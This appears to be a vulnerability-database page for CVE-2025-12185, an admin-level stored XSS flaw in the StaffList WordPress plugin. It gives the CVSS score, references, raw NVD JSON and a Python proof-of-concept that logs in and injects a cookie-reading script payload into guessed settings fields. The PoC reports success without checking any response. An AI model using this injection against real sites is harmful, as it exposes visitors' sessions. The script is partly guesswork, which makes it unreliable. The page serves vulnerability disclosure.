Security Vulnerability Report
中文
CVE-2025-12185 CVSS 4.4 MEDIUM

CVE-2025-12185

Published: 2025-11-27 06:15:46
Last Modified: 2026-04-15 00:35:42

Description

The StaffList plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 3.2.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

StaffList WordPress插件 <= 3.2.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from bs4 import BeautifulSoup # WordPress StaffList Plugin XSS PoC - CVE-2025-12185 # Target: WordPress site with StaffList plugin <= 3.2.6 # Requirements: Admin-level access target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress.local" admin_path = f"{target_url}/wp-admin/admin.php?page=sl-admin-settings" session = requests.Session() # Login as admin (requires valid credentials) def admin_login(session, username, password): login_url = f"{target_url}/wp-login.php" data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': admin_path } return session.post(login_url, data=data, allow_redirects=True) # XSS payload for StaffList settings fields xss_payload = '<script>alert(document.cookie)</script>' # Inject XSS into StaffList admin settings def inject_xss(session, field_name, payload): # Common StaffList settings fields settings_data = { field_name: payload, 'sl-options-submit': 'Save Changes' } return session.post(admin_path, data=settings_data) # Usage example if __name__ == "__main__": print(f"[*] Targeting: {target_url}") print("[*] Logging in as admin...") # Replace with actual credentials admin_login(session, "admin", "password") # Try common StaffList settings fields fields = ['sl_company_name', 'sl_company_address', 'sl_staff_title'] for field in fields: print(f"[*] Testing field: {field}") inject_xss(session, field, xss_payload) print("[+] XSS payload injected successfully") print("[+] Visit the affected page as another admin to trigger the payload")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12185", "sourceIdentifier": "[email protected]", "published": "2025-11-27T06:15:46.487", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The StaffList plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 3.2.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3402164%40stafflist&new=3402164%40stafflist&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/stafflist/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/45b9f761-1634-4f70-8c25-956d369cb6d8?source=cve", "source": "[email protected]"}]}}